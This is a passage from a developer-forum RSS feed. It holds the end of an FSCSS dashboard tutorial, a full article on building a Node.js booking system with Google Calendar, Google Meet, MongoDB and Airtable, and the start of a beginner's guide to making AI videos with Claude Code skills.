&lt;li&gt;Emits custom properties (&lt;code&gt;--st-p1&lt;/code&gt; to &lt;code&gt;--st-p12&lt;/code&gt;, &lt;code&gt;--ai-*&lt;/code&gt;, &lt;code&gt;--progress-*&lt;/code&gt; and so on)&lt;/li&gt;
&lt;li&gt;Emits &lt;code&gt;clip-path: polygon(...)&lt;/code&gt; for the chart fill and line&lt;/li&gt;
&lt;li&gt;Leaves your media queries and plain CSS intact&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ship only &lt;code&gt;dashboard.css&lt;/code&gt; to production. No &lt;code&gt;runtime.min.js&lt;/code&gt; is needed on this path.&lt;/p&gt;
&lt;h3 id=&quot;4-dashboard-html-the-markup&quot;&gt;4. dashboard.html: the markup&lt;/h3&gt;
&lt;p&gt;Link the compiled stylesheet. There is no FSCSS runtime script.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;See complete tutorial here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://dev.to/fscss/build-an-ai-ops-dashboard-with-fscss-ai-ui-st-core-circle-progress-overlapui-59m5&quot;&gt;https://dev.to/fscss/build-an-ai-ops-dashboard-with-fscss-ai-ui-st-core-circle-progress-overlapui-59m5&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Discussions</category>
<guid isPermaLink="true">https://coderlegion.com/32863/build-an-ai-ops-dashboard-with-fscss-modules-ai-ui-st-core-circle-progress-overlapui</guid>
<pubDate>Wed, 28 Oct 2026 15:40:56 +0000</pubDate>
</item>
<item>
<title>Building a Booking System with Node.js, Google Calendar, and Google Meet</title>
<link>https://coderlegion.com/32649/building-a-booking-system-with-node-js-google-calendar-and-google-meet</link>
<description>&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;Booking a consultation should be straightforward for the person making the appointment. Behind the scenes, however, an automated booking system has to coordinate several moving parts: collecting customer information, checking availability, scheduling an event, generating a meeting link, saving the booking, and notifying the people involved.&lt;/p&gt;
&lt;p&gt;I encountered these challenges while developing the booking system for JOPAD Advisory. I built the system from scratch, using Node.js and Express for the backend, MongoDB for storing bookings, Google Calendar for scheduling, Google Meet for virtual meetings, and Resend for email notifications.&lt;/p&gt;
&lt;p&gt;In this article, I'll walk through how I implemented the booking workflow, how the different services work together, and some of the engineering considerations that come with connecting external APIs to a backend application.&lt;/p&gt;
&lt;h3 id=&quot;1-the-architecture&quot;&gt;1. The Architecture&lt;/h3&gt;
&lt;p&gt;The backend coordinates the booking process. Each service has a specific responsibility:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node.js and Express: Handle booking requests and coordinate the workflow.&lt;/li&gt;
&lt;li&gt;MongoDB and Mongoose: Store booking details and provide access to existing appointments.&lt;/li&gt;
&lt;li&gt;Google Calendar API: Create calendar events for scheduled sessions.&lt;/li&gt;
&lt;li&gt;Google Meet: Generate a virtual meeting link through the Calendar event's conference configuration.&lt;/li&gt;
&lt;li&gt;Airtable: Receive a secondary record of the booking.&lt;/li&gt;
&lt;li&gt;Resend: Power the email notification workflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The booking process follows this sequence:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A customer submits a booking request through the website.&lt;/li&gt;
&lt;li&gt;The Express endpoint validates the submitted fields.&lt;/li&gt;
&lt;li&gt;The backend calculates the appointment's start and end times.&lt;/li&gt;
&lt;li&gt;Existing bookings are checked for overlapping time intervals.&lt;/li&gt;
&lt;li&gt;Google Calendar creates an event and requests a Google Meet conference.&lt;/li&gt;
&lt;li&gt;The booking is saved to MongoDB with its meeting link.&lt;/li&gt;
&lt;li&gt;The backend attempts to send a secondary record to Airtable.&lt;/li&gt;
&lt;li&gt;Booking notification emails are triggered.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This design brings several services together behind a single booking endpoint, giving the frontend one place to submit the request.&lt;/p&gt;
&lt;h3 id=&quot;2-building-the-booking-endpoint&quot;&gt;2. Building the Booking Endpoint&lt;/h3&gt;
&lt;p&gt;I used an Express POST endpoint to receive booking requests. The request contains the appointment time, duration, customer's contact details, session description, and other booking information.&lt;/p&gt;
&lt;p&gt;The first step is to reject incomplete requests before performing external API operations.&lt;/p&gt;
&lt;p&gt;A simplified version of the validation looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;router.post(&quot;/book&quot;, async (req, res) =&amp;gt; {
  const {
    time,
    duration,
    email,
    firstName,
    lastName,
    description
  } = req.body;

  if (
    !time ||
    !duration ||
    !email ||
    !firstName ||
    !lastName ||
    !description
  ) {
    return res.status(400).json({
      message: &quot;Missing required fields&quot;
    });
  }

  // Continue with availability checks
  // and booking creation.
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a simplified illustration of the validation logic in my implementation, not a complete replacement for the original endpoint.&lt;/p&gt;
&lt;p&gt;The actual endpoint validates additional fields, including the selected date, day, time range, phone number, and referral information.&lt;/p&gt;
&lt;p&gt;The important principle is to validate the data required by the booking workflow before creating external resources or writing records.&lt;/p&gt;
&lt;p&gt;For a production system, request validation should also verify data types, valid email addresses, positive durations, valid dates, and acceptable appointment times. A field being present does not necessarily mean its value is valid.&lt;/p&gt;
&lt;h3 id=&quot;3-calculating-appointment-duration&quot;&gt;3. Calculating Appointment Duration&lt;/h3&gt;
&lt;p&gt;A booking needs both a start time and an end time. The end time determines the appointment's actual interval and makes it possible to detect overlapping bookings.&lt;/p&gt;
&lt;p&gt;In my implementation, the backend calculates the end time using the requested start time and duration:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const startTime = new Date(time);
const endTime = new Date(startTime);

endTime.setMinutes(
  endTime.getMinutes() + Number(duration)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example, an appointment starting at 10:00 AM with a duration of 60 minutes should end at 11:00 AM.&lt;/p&gt;
&lt;p&gt;Calculating the interval on the backend is important because scheduling decisions should not depend solely on values calculated by the browser.&lt;/p&gt;
&lt;p&gt;It is also important to handle time zones consistently. My Google Calendar integration sends ISO-formatted timestamps to the API. A more comprehensive implementation should explicitly define the application's scheduling time zone and validate incoming timestamps to prevent ambiguity around local times and daylight-saving transitions.&lt;/p&gt;
&lt;h3 id=&quot;4-preventing-overlapping-bookings&quot;&gt;4. Preventing Overlapping Bookings&lt;/h3&gt;
&lt;p&gt;One of the central problems in a booking system is preventing customers from selecting times that have already been reserved.&lt;/p&gt;
&lt;p&gt;Two appointments overlap when the first appointment starts before the second one ends and finishes after the second one starts.&lt;/p&gt;
&lt;p&gt;The logic can be expressed as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const overlaps =
  requestedStart &amp;lt; existingEnd &amp;amp;&amp;amp;
  requestedEnd &amp;gt; existingStart;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This condition also allows back-to-back appointments. For example, a booking ending at 11:00 AM does not conflict with another booking beginning at exactly 11:00 AM.&lt;/p&gt;
&lt;p&gt;In my implementation, I retrieve existing bookings from MongoDB, calculate each booking's end time from its start time and duration, and check for conflicts:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const existingBookings = await Booking.find();

const conflict = existingBookings.some(booking =&amp;gt; {
  const existingStart = new Date(booking.startTime);
  const existingEnd = new Date(existingStart);

  existingEnd.setMinutes(
    existingEnd.getMinutes() +
      Number(booking.duration)
  );

  return (
    startTime &amp;lt; existingEnd &amp;amp;&amp;amp;
    endTime &amp;gt; existingStart
  );
});

if (conflict) {
  return res.status(409).json({
    message: &quot;This time slot has already been booked&quot;
  });
}`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Returning HTTP &lt;code&gt;&quot;409 Conflict&quot;&lt;/code&gt; communicates that the request conflicts with an existing booking.&lt;/p&gt;
&lt;p&gt;This approach is easy to understand, but it has a scalability limitation: the implementation loads all existing bookings before checking for an overlap. As the collection grows, a database query restricted to potentially overlapping intervals would be more efficient.&lt;/p&gt;
&lt;p&gt;There is also an important concurrency consideration. Two requests can check availability at almost the same time, both find the slot free, and both continue. The check alone does not guarantee that simultaneous requests cannot create overlapping bookings.&lt;/p&gt;
&lt;p&gt;A stronger production design would use an atomic reservation strategy, such as reserving discrete time slots with a unique database constraint or using another concurrency-control mechanism. That protection needs to be designed around the application's scheduling rules rather than relying only on an initial availability check.&lt;/p&gt;
&lt;h3 id=&quot;5-connecting-google-calendar-and-google-meet&quot;&gt;5. Connecting Google Calendar and Google Meet&lt;/h3&gt;
&lt;p&gt;After the backend confirms that a requested slot does not conflict with an existing booking, it calls a dedicated utility function to create the meeting.&lt;/p&gt;
&lt;p&gt;I separated this logic into a Google Calendar utility instead of placing the entire integration directly inside the Express route. This keeps the route focused on the booking workflow and makes the external integration easier to maintain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authenticating with Google&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The utility initializes an OAuth 2.0 client using environment variables and sets a refresh token:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const { google } = require(&quot;googleapis&quot;);

const oauth2Client = new google.auth.OAuth2(
  process.env.GOOGLE_CLIENT_ID,
  process.env.GOOGLE_CLIENT_SECRET,
  process.env.GOOGLE_REDIRECT_URI
);

oauth2Client.setCredentials({
  refresh_token: process.env.GOOGLE_REFRESH_TOKEN
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The example uses the conventional environment-variable spelling for the client secret. In the project, the environment variable is named &lt;code&gt;&quot;GOOGLE_CLIENT_SECRETE&quot;&lt;/code&gt;, so the deployed configuration must match the actual code unless that naming is corrected.&lt;/p&gt;
&lt;p&gt;The refresh token allows the server-side client to obtain access tokens as needed without requiring the user to repeat the authorization flow for every booking.&lt;/p&gt;
&lt;p&gt;This requires the initial OAuth authorization to have been completed successfully and the refresh token to remain valid. The Google account must also have the necessary permissions and configuration for creating Calendar events and conference links.&lt;/p&gt;
&lt;p&gt;Credentials should be stored securely in environment variables or an appropriate secrets manager, never committed to a public repository.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Creating a Calendar event&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The integration uses Google's Calendar API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const calendar = google.calendar({
  version: &quot;v3&quot;,
  auth: oauth2Client
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The meeting function calculates the event's end time and constructs a Calendar event containing the session title, description, start and end timestamps, and attendee information.&lt;/p&gt;
&lt;p&gt;The attendee is represented by the customer's email address:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;attendees: [
  {
    email,
    responseStatus: &quot;accepted&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The event also includes settings that prevent guests from modifying the event, inviting other guests, or seeing other guests.&lt;/p&gt;
&lt;p&gt;These settings are part of the event configuration; they do not replace proper authorization and access control in the booking application itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Requesting a Google Meet link&lt;br&gt;
&lt;/strong&gt;&lt;br&gt;
The event configuration includes a conference creation request:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;conferenceData: {
  createRequest: {
    requestId: &quot;jopad-&quot; + Date.now(),
    conferenceSolutionKey: {
      type: &quot;hangoutsMeet&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The event is then inserted into the primary Google Calendar:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const response = await calendar.events.insert({
  calendarId: &quot;primary&quot;,
  resource: event,
  conferenceDataVersion: 1,
  sendUpdates: &quot;all&quot;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &quot;conferenceDataVersion: 1&quot; option tells Google Calendar that conference data should be processed as part of the request. The &quot;sendUpdates: &quot;all&quot;&quot; option requests that Calendar send event updates to the relevant participants.&lt;/p&gt;
&lt;p&gt;After the API call succeeds, the implementation extracts the meeting URL from the returned conference data:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const meetLink =
  response.data.conferenceData.entryPoints[0].uri;

return meetLink;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The booking route receives that link and includes it in the booking record.&lt;/p&gt;
&lt;p&gt;One important implementation detail is that the code assumes the response contains a conference entry point. A more defensive implementation would verify that the response contains a usable Meet URL before continuing.&lt;/p&gt;
&lt;p&gt;Google Calendar conference creation can also involve asynchronous processing. Production code should account for cases where the event exists but the conference details are not yet available, rather than assuming every successful event insertion immediately includes a meeting link.&lt;/p&gt;
&lt;h3 id=&quot;6-saving-bookings-in-mongodb&quot;&gt;6. Saving Bookings in MongoDB&lt;/h3&gt;
&lt;p&gt;Once the meeting link has been returned, the backend creates a Mongoose booking document.&lt;/p&gt;
&lt;p&gt;The model stores information such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Appointment start time and duration.&lt;/li&gt;
&lt;li&gt;Customer name and contact information.&lt;/li&gt;
&lt;li&gt;Session description.&lt;/li&gt;
&lt;li&gt;Date and time display values.&lt;/li&gt;
&lt;li&gt;Referral information.&lt;/li&gt;
&lt;li&gt;Google Meet link.&lt;/li&gt;
&lt;li&gt;Record creation timestamp.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The central fields include:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const bookingSchema = new mongoose.Schema({
  startTime: {
    type: Date,
    required: true
  },
  duration: String,
  email: String,
  firstName: String,
  lastName: String,
  description: String,
  meetLink: String,
  createdAt: {
    type: Date,
    default: Date.now
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an excerpt of the schema; the complete project model contains additional fields.&lt;/p&gt;
&lt;p&gt;After constructing the document, the route saves it:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;await newBooking.save();&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Saving the booking after generating the meeting link ensures that the returned booking record can contain the link associated with the created event.&lt;/p&gt;
&lt;p&gt;However, the order of these operations creates an important failure scenario. If Google Calendar successfully creates the event but MongoDB subsequently fails to save the booking, a calendar event may remain without a corresponding booking record.&lt;/p&gt;
&lt;p&gt;This is a common challenge when coordinating operations across independent services. A more resilient design could track workflow states, retry recoverable operations, and provide a reconciliation or cleanup process for partially completed bookings.&lt;/p&gt;
&lt;h3 id=&quot;7-adding-an-airtable-backup&quot;&gt;7. Adding an Airtable Backup&lt;/h3&gt;
&lt;p&gt;The system also attempts to send booking information to Airtable after saving the MongoDB document.&lt;/p&gt;
&lt;p&gt;The request includes selected booking fields, such as the customer's name, email, phone number, session description, referral details, meeting link, and appointment date.&lt;/p&gt;
&lt;p&gt;The operation is wrapped in its own &quot;try...catch&quot; block. If the Airtable request fails, the error is logged, but the main booking workflow can still continue.&lt;/p&gt;
&lt;p&gt;This makes Airtable a secondary destination rather than the primary source of truth for the booking.&lt;/p&gt;
&lt;p&gt;That distinction matters: the implementation attempts a backup write, but it does not guarantee that the MongoDB and Airtable records are always synchronized. If Airtable is unavailable, the backup attempt fails without automatically retrying it.&lt;/p&gt;
&lt;p&gt;A more robust implementation could place failed backup operations into a retry queue or maintain a record of synchronization status.&lt;/p&gt;
&lt;h3 id=&quot;8-sending-booking-notifications&quot;&gt;8. Sending Booking Notifications&lt;/h3&gt;
&lt;p&gt;After the booking has been saved and the Airtable attempt has completed, the route triggers the email notification utility:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;sendBookingEmails({
  email,
  firstName,
  lastName,
  dayString,
  referral,
  dateString,
  number,
  description,
  timeString,
  timeRange,
  meetLink
}).catch(err =&amp;gt; {
  console.log(&quot;Email failed:&quot;, err.message);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The email operation is not awaited by the route. This allows the endpoint to return its successful booking response without waiting for the notification workflow to finish.&lt;/p&gt;
&lt;p&gt;It also means an email failure does not change the response after the booking has been saved.&lt;/p&gt;
&lt;p&gt;There is a trade-off: the current implementation logs email failures but does not automatically retry them or record a delivery status in the booking document. For a production booking service, a persistent background job or message queue would provide a stronger way to retry notifications and monitor delivery outcomes.&lt;/p&gt;
&lt;p&gt;The route eventually responds with HTTP &lt;code&gt;&quot;201 Created&quot;&lt;/code&gt;, along with a success message and the saved booking.&lt;/p&gt;
&lt;h3 id=&quot;9-lessons-from-the-implementation&quot;&gt;9. Lessons from the Implementation&lt;/h3&gt;
&lt;p&gt;Building this workflow brought several backend engineering considerations into focus.&lt;/p&gt;
&lt;p&gt;Validate before creating external resources. Checking the request and current bookings before calling Google reduces unnecessary API operations.&lt;/p&gt;
&lt;p&gt;Separate responsibilities. Keeping the Calendar integration in its own utility makes the Express route easier to understand and maintain.&lt;/p&gt;
&lt;p&gt;Handle partial failures. MongoDB, Google Calendar, Airtable, and an email provider are independent services. A successful operation in one does not guarantee success in the others.&lt;/p&gt;
&lt;p&gt;Treat concurrency as a separate problem. Checking for overlapping bookings is necessary, but it does not by itself protect against two simultaneous requests reserving the same slot.&lt;/p&gt;
&lt;p&gt;Design for observability and recovery. Logging an error helps with debugging, but production systems also benefit from structured logs, retry mechanisms, delivery tracking, and reconciliation workflows.&lt;/p&gt;
&lt;p&gt;These considerations extend beyond booking applications. Any backend that coordinates a database with multiple external APIs needs a plan for partial failures and retries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Building the JOPAD Advisory booking system from scratch gave me practical experience connecting a Node.js backend to Google Calendar, generating Google Meet links, storing bookings in MongoDB, maintaining a secondary Airtable record, and triggering email notifications.&lt;/p&gt;
&lt;p&gt;The most important lesson is that integrating APIs is only one part of building a reliable application. The surrounding workflow—validation, conflict detection, persistence, failure handling, and recovery—is just as important.&lt;/p&gt;
&lt;p&gt;A booking endpoint can appear simple from the frontend, but it coordinates several systems that can succeed or fail independently. Understanding those interactions is what turns an API integration into a more complete engineering solution.&lt;/p&gt;
&lt;p&gt;I'm continuing to explore ways to make these workflows more resilient, especially around concurrent bookings, retries, and recovery from partial failures.&lt;/p&gt;
&lt;p&gt;If you're building a booking platform or integrating third-party services into a Node.js application, I'd be interested to hear how you approach these challenges.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32649/building-a-booking-system-with-node-js-google-calendar-and-google-meet</guid>
<pubDate>Tue, 27 Oct 2026 07:58:12 +0000</pubDate>
</item>
<item>
<title>AI videos with Claude Code for beginners: 11 prompts, $0.62</title>
<link>https://coderlegion.com/32179/ai-videos-with-claude-code-for-beginners-11-prompts-0-62</link>
<description>&lt;p&gt;&lt;em&gt;I start in an empty folder with a fresh Claude Code and teach it to make images, voices and music, and to edit them with FFmpeg. At the end it makes a 101-second narrated space story. Every prompt I used is here, ready to copy.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-way-of-the-jedi&quot;&gt;The way of the Jedi&lt;/h3&gt;
&lt;p&gt;A few months ago I started making AI videos. I didn't plan that. I had never seen myself as an AI video creator. I just wanted to try to create some video materials for my text game. And oh boy... I got lost in this.&lt;/p&gt;
&lt;p&gt;I never planned to make music videos either. And yet, here I am:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/86IzQeT51Mw&quot;&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-thumb-item-nine.jpg&quot; alt=&quot;Slopcore: Item Nine (Nothing to Report 3)&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/86IzQeT51Mw&quot;&gt;Watch Item Nine on YouTube&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And you know what? So many people are doing this wrong. The AI video world is the wild west - no standards, no best practices, no rules. And a lot of people constantly trying to sell you their tools. Or the idea that you need some tool. You don't. Really.&lt;/p&gt;
&lt;p&gt;My path is different. Like a Jedi who had to build their own lightsaber, a true video creator should build their own tools. Unique and personal, with a sparkle of your taste. Only then will you be free to create whatever you want. I started with some promo videos, then jumped into funny shorts, then into my own anime, then into music videos. Who knows what I'll be doing tomorrow? I don't believe in other people's tools.&lt;/p&gt;
&lt;p&gt;I'll show you how to build your own AI video tool, pipeline, workflow, engine, harness - whatever the name is.&lt;/p&gt;
&lt;p&gt;This article is a text version of this video:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U&quot;&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-thumb-tutorial.jpg&quot; alt=&quot;AI videos with Claude Code for beginners&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U&quot;&gt;Watch the tutorial on YouTube&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-tool&quot;&gt;The tool&lt;/h3&gt;
&lt;p&gt;I'm an AI minimalist - I believe in a simple setup and simple words. I'm using Claude Code with a bunch of skills - that's it. And it can actually be any up-to-date coding assistant (a harness) with any frontier model. Claude Code with Opus 5.5 is a great choice if you are ready to pay $100/month + the cost of generated assets, but you can lower the budget and be all right.&lt;/p&gt;
&lt;p&gt;Here's what I would pick for different price ranges, per month:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$100: Claude Code or Codex&lt;/li&gt;
&lt;li&gt;$20: Google AI Pro&lt;/li&gt;
&lt;li&gt;Chinese coding plans: Kimi $20/$40, GLM $20/$80, MiniMax $11/$30&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pick one in your price range and get used to it. Everything below works the same in Codex or any other harness.&lt;/p&gt;
&lt;p&gt;Skills support is the only requirement. Skills are our plugins, addons, extensions - all the new functionality and experience we are going to add to the base harness. What functionality do we need? Two things really:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ability to generate assets (images, animations, sounds, voices);&lt;/li&gt;
&lt;li&gt;And ability to edit a video.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;why-skills&quot;&gt;Why skills&lt;/h3&gt;
&lt;p&gt;They are just text files. They work as lazily loaded prompts. Each skill has a short description and a body - only the descriptions are loaded into the context. The model decides from these descriptions when to load the rest of a skill. You can have a lot of them and nothing is loaded into the context unless it is needed. That's why I like them more than MCP servers - those put a lot more into the context.&lt;/p&gt;
&lt;p&gt;Imagine that you want to teach your brand new Claude Code to generate images using OpenAI API. You explain where to get the API key, you pass the image gen documentation, you let it make some calls and build a few reusable scripts... You let it find the successful path, then ask it to create a skill with it. This skill will contain the successful path, the exact steps and scripts location, usage examples, all the useful settings, and the description when to use this skill.&lt;/p&gt;
&lt;p&gt;And you don't write skills yourself. You only say &quot;remember the successful path, create a skill for this&quot;. Next time it doesn't search - it loads the skill and does everything from the first attempt. I wrote more about how my skills grew in &lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/25768/how-to-start-creating-ai-videos-from-scratch&quot;&gt;How to start creating AI videos from scratch&lt;/a&gt;. Here we just build them, one by one. We need four groups:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;images,&lt;/li&gt;
&lt;li&gt;voices,&lt;/li&gt;
&lt;li&gt;music (oh, this one is magical), &lt;/li&gt;
&lt;li&gt;editing (you would be expelled from Hogwarts for this one).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-skills.jpg&quot; alt=&quot;The eight skills the harness wrote for itself in the demo, and the top of the gpt-image skill: its name and description.&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;from-complete-scratch&quot;&gt;From complete scratch&lt;/h3&gt;
&lt;p&gt;Here is what we start with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;an empty folder&lt;/li&gt;
&lt;li&gt;a fresh Claude Code session that knows nothing about you&lt;/li&gt;
&lt;li&gt;three API keys&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And here is what we end with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;8 skills the harness wrote for itself&lt;/li&gt;
&lt;li&gt;a 101-second narrated story with 10 illustrations, music and camera moves&lt;/li&gt;
&lt;li&gt;a costs.csv that says we spent &lt;strong&gt;$0.62&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It took about an hour of work. No libraries to install by hand, no platforms, no video editor.&lt;/p&gt;
&lt;h3 id=&quot;what-we-build&quot;&gt;What we build&lt;/h3&gt;
&lt;p&gt;We build a slideshow. A short story, a voice reading it, and images that change as the story goes.&lt;/p&gt;
&lt;p&gt;I know what you're thinking.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;A slideshow??? This is ridiculous, so much time has been wasted reading this! I'm leaving!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yes, a slideshow. This is how you start. A video is a bunch of animated slides (surprise). First you learn to make the slides, set up your harness to do it fast and easy - only then do you think of animating them. Animation is stage two - a place you need to get to.&lt;/p&gt;
&lt;h3 id=&quot;images&quot;&gt;Images&lt;/h3&gt;
&lt;p&gt;You need to pick an image model. One model is how you keep the style consistent. Although, sometimes I generate an image with one model and then fix some details with another one. Which means having more than one is a good idea.&lt;/p&gt;
&lt;p&gt;I think the best one right now is OpenAI GPT Image 2.5 (&lt;code&gt;gpt-image-2.5-sunburst&lt;/code&gt;). In our demo one image cost $0.04 at 1536x1024. A 4K image costs about $0.12.&lt;/p&gt;
&lt;p&gt;I like using it through the official OpenAI API. This gives me the latest version, all the features like editing, good docs with examples and best practices I can pass to the AI. This might not be the cheapest option, but we are going to pay less than $1 for 10 images.&lt;/p&gt;
&lt;p&gt;To teach our harness to use GPT Image 2.5 we do the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to the OpenAI API platform, create a profile, create an API key.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-api-keys.jpg&quot; alt=&quot;The OpenAI platform: API Keys in the left menu, the Create new secret key button at the top right.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Store it somewhere. Ask your AI how to do it properly. For example, I keep my keys in the macOS Keychain. Claude Code wrote a script that gets the key and makes the API call - it never sees the key itself.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Then open the &lt;a rel=&quot;nofollow&quot; href=&quot;https://developers.openai.com/api/docs/guides/image-generation&quot;&gt;docs page&lt;/a&gt; for image generation. Most docs sites now have the &quot;Copy page&quot; button that copies the whole page as markdown.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-docs.jpg&quot; alt=&quot;The OpenAI image generation docs, with the Copy Page button under the table of contents.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Copy it, paste it into the harness, and ask:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Hi! I want to make AI videos in this folder, starting from zero. Step one: teach yourself to generate images with OpenAI GPT Image 2.5 (gpt-image-2.5-sunburst). My API key is in macOS Keychain, account ai-video-demo, service vid-oai. Never print it. Here is the documentation: [docs] Make one test image: a lonely research station on a frozen moon, Saturn huge in the sky, cinematic, 1536x1024.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That's the magic of modern harnesses. It reads the doc, writes a small script, runs it, fixes its own errors, and gives you an image. Ours took 32 seconds and $0.04.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-first-image.jpg&quot; alt=&quot;A research station on a frozen moon, Saturn huge in the sky.&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Nice. Now create a skill for this, so you remember the successful path next time. Name it gpt-image, and describe it as our main skill for images.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It's good to have more than one model. My second favorite is Nano Banana 2.1. The docs are &lt;a rel=&quot;nofollow&quot; href=&quot;https://ai.google.dev/gemini-api/docs/image-generation&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Great. Let's add a second image model as an alternative: Nano Banana 2.1 (Gemini image, gemini-nano-banana-2.1). Gemini key is in Keychain, account ai-video-demo, service vid-gem. Docs: [docs] Generate the same frozen moon scene with it so we can compare the two models side by side. Then make a skill for it called nano-banana.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Same frame, $0.10.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-image-compare.jpg&quot; alt=&quot;The same frozen moon station, GPT Image 2.5 on the left, Nano Banana 2.1 on the right.&quot;&gt;&lt;/p&gt;
&lt;p&gt;We won't be using Midjourney here, although most AI content creators prefer this model over anything else. It gives better realism and really unique visuals. But it doesn't have an official API and it's harder to get great results out of the box. Feel free to explore this model yourself. I use it via the EvoLink platform: &lt;a rel=&quot;nofollow&quot; href=&quot;https://evolink.ai/midjourney-v8-2&quot;&gt;Midjourney 8.2 page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-midjourney.jpg&quot; alt=&quot;Four Midjourney v8.2 stills from my music videos: an android woman with black hair in a ship corridor, twice, and a boxy cargo robot in a warehouse, twice.&quot;&gt;&lt;/p&gt;
